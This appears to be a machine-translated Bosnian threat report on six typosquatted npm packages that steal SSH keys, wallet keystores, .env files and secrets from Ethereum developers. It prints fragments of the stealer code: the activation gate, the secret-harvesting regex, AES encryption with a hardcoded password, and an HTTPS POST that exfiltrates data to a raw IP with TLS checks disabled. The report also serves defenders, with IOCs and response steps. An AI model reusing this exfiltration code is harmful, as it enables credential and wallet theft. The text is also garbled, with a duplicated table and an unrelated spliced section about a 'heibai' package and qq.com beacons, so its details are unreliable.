EVMDeFi npm tiposquatting napad krade ključeve programera

EVM/DeFi npm tiposquatting napad krade ključeve programera

TL; DR

6. maja 2026. godine, jedan npm izdavač, namikazesarada010206, plasirao je šest zlonamjernih paketa usmjerenih na ekosistem programera Ethereuma, Solidityja i DeFi-ja.

Paketi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, I web3-utils-core, koristili su uvjerljiva imena dizajnirana da izgledaju kao pomoćne biblioteke za popularne Web3 alate.

Svih šest paketa sadržavalo je isto telemetry.js datoteka. Datoteka je bila identična po bajtovima u cijelom klasteru, sa SHA-256:

SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1

Zlonamjerni softver se ne izvršava prilikom instalacije. Nema preinstall or postinstall kuka. Umjesto toga, aktivira se kada se paket uveze putem require().

Taj detalj je bitan.

Implantat čeka dok programer zapravo ne koristi paket. Zatim provjerava da li radna stanica izgleda kao pravo Ethereum / Solidity razvojno okruženje. Traži Alchemy ili Infura ključeve, privatne ključeve, mnemonike, deployer ključeve ili lokalni Foundry direktorij.

Ako se host podudara, kradljivac prikuplja SSH privatne ključeve, skladišta ključeva Foundry / Geth / Brownie novčanika, .env* datoteke i osjetljive varijable okruženja. Šifrira paket pomoću AES-256-GCM-a koristeći čvrsto kodiranu lozinku i eksfiltrira ga do sirove IPv4 C2 krajnje tačke sa onemogućenom TLS verifikacijom.

Xygenijev sistem za rano upozoravanje na zlonamjerni softver (MEW) potvrdio je da je svih šest paketa zlonamjerno. Izvještaj o uklanjanju iz registra npm paketa je na čekanju.

Klaster: Šest paketa, jedan izdavač

Račun izdavača namikazesarada010206 je povezano sa neprovjerenom Gmail adresom namikazesarada010206@gmail.com.

Kampanja se pojavila kao jednodnevni publikacijski nalet 6. maja 2026. Svih šest paketa je verzionirano kao 1.0.0, nije imao nikakvih zavisnosti tokom izvođenja i isporučio je samo tri datoteke:

package.json index.js telemetry.js

Također su deklarirali isti izvorni repozitorij:

https://github.com/harunosakura030303-maker/evmchain-config

Prva tri paketa su otkrivena MEW skenerima prilikom prve objave. Preostala tri su prisilno označena nakon što su analitičari pregledali npm profil izdavača. Nekada isti bajtovi identični... telemetry.js je potvrđeno u cijelom klasteru, zatvoreni su kao zlonamjerni zbog konzistentnosti.

paket verzija Objavljeno u npm-u MEW ulaznica presuda
viem-core 1.0.0 2026-05-06 01:38:44Z #51049 Zlonamerni
viem-utils-core 1.0.0 2026-05-06 #51050 Zlonamerni
hardhat-core-utils 1.0.0 2026-05-06 #51051 Zlonamerni
evm-utils 1.0.0 2026-05-06 #51069 Zlonamjerno, po konzistentnosti
foundry-utils 1.0.0 2026-05-06 #51071 Zlonamjerno, po konzistentnosti
web3-utils-core 1.0.0 2026-05-06 #51070 Zlonamjerno, po konzistentnosti

Strategija imenovanja je jednostavna, ali efikasna.

Ovi paketi ne oponašaju tačna imena uzvodnih paketa. Umjesto toga, koriste uvjerljive sufikse "utility" kao što su -core, -utils, I -utils-coreZbog toga izgledaju kao prateće biblioteke koje bi programer očekivao da vidi blizu Web3 alata.

Zlonamjerni paket Legitimna meta
viem-core Viem, popularni Ethereum TypeScript klijent
viem-utils-core viem
hardhat-core-utils hardhat, uobičajeno Solidity razvojno okruženje
evm-utils Generički imenski prostor EVM alata
foundry-utils ljevaonica, Solidity alatni lanac
web3-utils-core web3-utils, Web3.js pomoćnici

Ovo je obrazac „dopunskog paketa“: ne „Ja sam pravi paket“, već „Izgledam kao razuman pomagač oko pravog paketa“.

Za DeFi developere koji se brzo kreću, to je dovoljno da stvori rizik.

Šta se dešava kada se paket uveze

Lanac napada je mali, namjeran i fokusiran na kripto-razvojna okruženja.

Nema kuke za instalaciju. Umjesto toga, svaki paket uključuje index.js koji izvozi funkcionalnost stuba, a zatim učitava zlonamjerni telemetrijski modul.

require('./telemetry').init();

To znači da se zlonamjerni softver aktivira pri prvom uvozu.

To je operativno korisno za napadača. Mnogi skeneri i sandbox okruženja fokusiraju se na ponašanje prilikom instalacije. Ovaj paket čeka dok ga programer, skripta za izgradnju, testni paket ili runtime putanja zapravo ne koristi.

Aktivacijska kapija: Aktivira se samo na pravim Web3 programerskim radnim stanicama

Najvažniji dio implantata je aktivacijska kapija.

Zlonamjerni softver provjerava varijable okruženja koje se obično nalaze na mašinama programera Ethereuma / Solidityja:

const indicators = [   process.env.ALCHEMY_API_KEY,   process.env.INFURA_KEY,   process.env.PRIVATE_KEY,   process.env.MNEMONIC,   process.env.DEPLOYER_KEY, ].filter(Boolean);

Također provjerava da li je Foundry instaliran:

fs.existsSync(path.join(os.homedir(), '.foundry'))

Ako nijedan uslov nije tačan, funkcija vraća vrijednost i ne radi ništa.

To čini paket tišim u generičkim analitičkim okruženjima. Sandbox bez Foundryja, Alchemy ključeva, Infura ključeva, privatnih ključeva ili mnemonika može izgledati bezopasno.

Na odgovarajućem hostu, zlonamjerni softver čeka 60 do 90 sekundi prije prikupljanja:

setTimeout(() => { try { _collect(); } catch {} },           60000 + Math.random() * 30000).unref();

Kašnjenje smanjuje očiglednu korelaciju između uvoza i iznošenja. .unref() poziv također omogućava host procesu da se normalno završi ako je paket uvezen u kratkotrajnoj skripti.

Ovo nije bučno ponašanje "smash-and-grab". To je ciljani kradljivac dizajniran da izbjegne pokretanje osim ako se isplati krasti iz razvojnog okruženja.

Šta kradljivac sakuplja

Nakon što prođe aktivacijsku kapiju, zlonamjerni softver prikuplja podatke iz izvora koji su najvažniji u Web3 razvoju: privatnih ključeva, spremišta ključeva novčanika, vjerodajnica za implementaciju, tajnih podataka u oblaku, npm tokena i konfiguracije lokalnog projekta.

izvor Šta se prikuplja
process.env Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke
~/.foundry/keystore/* Datoteke skladišta ključeva Foundry novčanika
~/.ethereum/skladište ključeva/* Datoteke spremišta ključeva Geth novčanika
~/.brownie/accounts/* Datoteke spremišta ključeva Brownie novčanika
${cwd}/.env Puni sadržaj datoteke
${cwd}/.env.local Puni sadržaj datoteke
${cwd}/.env.production Puni sadržaj datoteke
${cwd}/.env.development Puni sadržaj datoteke
os.hostname() Metapodaci hosta
kripto.randomUUID() Identifikator žrtve/sesije
Datum.sada() Vremenska oznaka prikupljanja
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com

ATTA tokeni su:

ATTA_ID 00400014144 ATTA_TOKEN 6478159937

Nismo bili u mogućnosti potvrditi da li je telemetrija bila analitika samog operatera ili zasebno monetizirani kanal. ATTA tokeni su isti u oba uzorka koja smo ispitali.

Klaster B: heibai

claude.hk OAuth Phishing + Otmica ANTHROPIC_BASE_URL-a

Uzorak od 1. aprila je grublji, raniji dio kampanje.

heibai:2.1.88-claude.hk-4 je objavio wuguoqiangvip28, račun kreiran 7. juna 2025. Paket se eksplicitno verzionirao protiv legitimne 2.1.88 Antropno oslobađanje.

Ne zamara se CA-cert MITM-om. Umjesto toga, laže korisniku o OAuth krajnjoj tački.

Zlonamjerni dodaci pored procurelog izvornog koda Claude Code uključuju:

izvor Šta se prikuplja
process.env Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
~/.ssh/* Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke
~/.foundry/keystore/* Datoteke skladišta ključeva Foundry novčanika
~/.ethereum/skladište ključeva/* Datoteke spremišta ključeva Geth novčanika
~/.brownie/accounts/* Datoteke spremišta ključeva Brownie novčanika
${cwd}/.env Puni sadržaj datoteke
${cwd}/.env.local Puni sadržaj datoteke
${cwd}/.env.production Puni sadržaj datoteke
${cwd}/.env.development Puni sadržaj datoteke
os.hostname() Metapodaci hosta
kripto.randomUUID() Identifikator žrtve/sesije
Datum.sada() Vremenska oznaka prikupljanja

Ciljna lista je vrlo specifična. Ovo nije generička krađa preglednika ili široko korištenje akreditiva. Namijenjena je programerima koji grade, testiraju, implementiraju ili upravljaju Ethereum aplikacijama.

Uključivanje Foundry, Geth i Brownie skladišta ključeva je posebno važno. Ove datoteke mogu predstavljati direktan pristup novčanicima ili identitetima implementacije. Ako ih napadač može upariti s lozinkama, mnemonicima ili tajnama okruženja, mogao bi premjestiti sredstva, lažno se predstaviti kao implementatori ili ugroziti operacije pametnih ugovora.

Šifriranje prije eksfiltracije

Zlonamjerni softver šifrira prikupljene podatke prije slanja.

const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);

Fiksno kodirana lozinka je:

a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d

Konačni korisni teret je upakovan kao JSON:

{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}

Šifriranje samo po sebi ne čini zlonamjerni softver naprednijim. Međutim, otežava inspekciju mreže. Branilac koji nadgleda izlaz bi vidio JSON sadržaj, ali ne i ukradene ključeve, datoteke novčanika ili... .env sadržaj bez čvrsto kodirane lozinke i logike dešifriranja.

Eksfiltracija na sirovi IPv4 C2

Putanja za izvlačenje je fiksno kodirana:

const req = https.request({   hostname: '76.13.37.80', port: 8443,   path: '/api/v1/telemetry', method: 'POST',   headers: { 'Content-Type': 'application/json', ... },   rejectUnauthorized: false, timeout: 8000, }, () => {});

Zlonamjerni softver šalje podatke na:

https://76.13.37.80:8443/api/v1/telemetry

Dva detalja se ističu.

Prvo, C2 je sirova IPv4 adresa, a ne domena. To uklanja potrebu za registracijom domene i izbjegava neke detekcije zasnovane na domeni.

Drugo, TLS verifikacija je onemogućena sa:

rejectUnauthorized: false

To omogućava zlonamjernom softveru da prihvati bilo koji certifikat, uključujući i samopotpisane certifikate. Drugim riječima, napadač dobija šifrirani transport bez potrebe za važećim javnim certifikatom.

Ne postoji logika ponovnog pokušaja niti rezervni host. Greške se tiho "progutaju". Ovo održava paket tihim ako je C2 van mreže ili nedostupan.

Zašto je ova kampanja važna

Većina zlonamjernih npm paketa namijenjenih programerima juri široke akreditive: npm tokene, AWS ključeve, GitHub tokene ili .npmrc datoteke.

Ova kampanja sužava cilj.

Traži znakove da mašina pripada Ethereum ili Solidity programeru. Zatim uzima tačno onu imovinu koja je bitna u tom okruženju: skladišta ključeva novčanika, privatne ključeve, mnemonike, ključeve implementatora, .env datoteke i SSH ključeve.

To čini kampanju opasnijom za Web3 timove nego generički npm kradljivac.

Uspješna infekcija može otkriti:

  • Novčanici za implementaciju
  • Administratorski ključevi pametnih ugovora
  • Ključevi RPC provajdera
  • Akreditivi za implementaciju u oblaku
  • npm tokeni za objavljivanje
  • SSH pristup infrastrukturi za razvojne programere ili izgradnju
  • Tajne projekta pohranjene u .env datoteke
  • Spremišta ključeva novčanika za Foundry, Geth ili Brownie

Nazivi paketa također pokazuju jasan socijalni inženjering. Oni ciljaju ekosistem Web3 programera putem poznatih naziva alata: viem, hardhat, foundry, evm, I web3.

Akter ne mora kompromitovati stvarne projekte. Potreban im je samo programer koji će instalirati ono što izgleda kao razuman prateći paket.

Indikatori kompromitacije i detekcije

Paketi i izdavač
polje vrijednost
npm izdavač namikazesarada010206
E-pošta izdavača namikazesarada010206@gmail.com
email verifikovan Ne
SCM verifikovan Ne
Rezultat reputacije 1.0
paketi viem-core, viem-utils-core, hardhat-core-utils, evm-utils, livnica-utils, web3-utils-core
verzije Svi 1.0.0
Izvorni repozitorij https://github.com/harunosakura030303-maker/evmchain-config
Potvrđeno zlonamjerno Svih šest paketa
mreža
tip vrijednost
C2 krajnja tačka https://76.13.37.80:8443/api/v1/telemetry
C2 IP 76.13.37.80
C2 port 8443/tcp
Ponašanje TLS-a odbitiNeovlašteno: netačno
Šema korisnog tereta {"v":2,"iv": ,,d": ,,t": }
Datoteke i heševi
tip vrijednost
telemetry.js SHA-256 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1
Raspored paketa package.json, index.js, telemetry.js
Broj datoteka 3
Približna ukupna veličina 3.4 KB

Signali aktivacije

Zlonamjerni softver provjerava ove varijable okruženja:

ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY

Također provjerava:

~/.foundry/

Ciljane putanje hosta

~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development

Regeks kolekcije

/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i

Bilješke o detekciji

Nekoliko pravila obuhvata ovu kampanju bez potrebe za potpunom analizom ponašanja.

Prvo, skenirajte lockfiles za šest zlonamjernih naziva paketa:

viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core

Bilo koja utakmica u package-lock.json, yarn.lock, pnpm-lock.yaml, ili node_modules historiju treba tretirati kao ozbiljan incident.

Drugo, pratite Node.js procese koji čitaju putanje spremišta ključeva novčanika:

~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/

Ovo rijetko predstavlja legitimno ponašanje za paket uvezen kao pomoćna zavisnost. Posebno je sumnjivo kada ga prati aktivnost na mreži prema van.

Treće, blokirajte ili upozorite na HTTPS veze kako biste:

76.13.37.80:8443

Pogotovo kada je putanja zahtjeva:

/api/v1/telemetry

Četvrto, potražite npm pakete koji kombinuju ove osobine:

  • Novi ili izdavač sa niskom reputacijom
  • Nepotvrđeni Gmail račun
  • Naziv paketa susjednog Web3-u
  • Nema značajne historije repozitorija
  • Raspored malog pakovanja
  • index.js koji učitava telemetriju ili pomoćnu datoteku
  • Nema zavisnosti od vremena izvođenja
  • Kolekcija osjetljivih varijabli okruženja
  • Pristup spremištu ključeva novčanika

Ovaj obrazac je korisniji od jednog IOC-a jer sljedeći paket može promijeniti IP adresu, ali zadržati istu logiku ciljanja.

Kontrolna lista za odgovor na kompromis

Ako je programer koristio jedan od šest paketa i njegovo okruženje se podudaralo s aktivacijskom kapijom, radna stanica se tretira kao kompromitovana.

To uključuje mašine sa instaliranim Foundryjem, Alchemy ili Infura ključevima u okruženju, privatnim ključevima, mnemonicima ili ključevima deployera.

Preporučeni odgovor:

  • Isključite host sa mreže.
  • Očuvaj node_modules, lockfiles, historija ljuske i relevantni logovi za forenziku.
  • Rotirajte svaki SSH par ključeva ispod ~/.ssh/.
  • Rotirajte ključeve novčanika za svako spremište ključeva ispod ~/.foundry, ~/.ethereum, I ~/.brownie.
  • Prebacite sredstva u nove novčanike.
  • Rotirajte svaku tajnu pohranjenu u .env* datoteke u repozitorijumima u kojima je programer radio.
  • Rotirajte tajne okruženja koje odgovaraju regularnom izrazu kolekcije, uključujući AWS ključeve, npm tokene, tokene za implementaciju, API ključeve, privatne ključeve, početne vrijednosti i mnemonike.
  • Pratite aktivnosti u oblaku, npm-u, GitHubu, RPC provajderu i blockchainu od prve instalacije paketa.
  • Ponovo napravite sliku radne stanice prije ponovne upotrebe.

Šta bi branioci trebali ponijeti sa sobom

Ova kampanja pokazuje kako se tiposquatting u npm-u razvija oko ekosistema visokovrijednih programera.

Akteru nije bila potrebna perzistencija. Nije im bila potrebna obfuskacija. Nije im čak bilo potrebno ni izvršavanje tokom instalacije.

Umjesto toga, oslanjali su se na tri stvari:

  • Vjerovatna imena Web3 paketa
  • Aktivacija samo na pravim mašinama za razvoj kriptovaluta
  • Direktna krađa datoteka i tajni koje su najvažnije programerima Ethereuma

Zbog toga je kampanju lako previdjeti pri širokom skeniranju i opasna je kada se nađe u pravom okruženju.

Za Web3 timove, lekcija je jasna: tretirajte imena zavisnosti kao dio vašeg modela prijetnje. Paket koji izgleda kao bezopasni pomagač i dalje može postati najkraći put do kompromitacije novčanika.

Prijavljeno npm registru. Ažurirat ćemo ovu objavu kada se uklone izdavački račun i paketi.

sca-tools-software-alati-za-analizu-sastava
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

sa Xygeni paketom proizvoda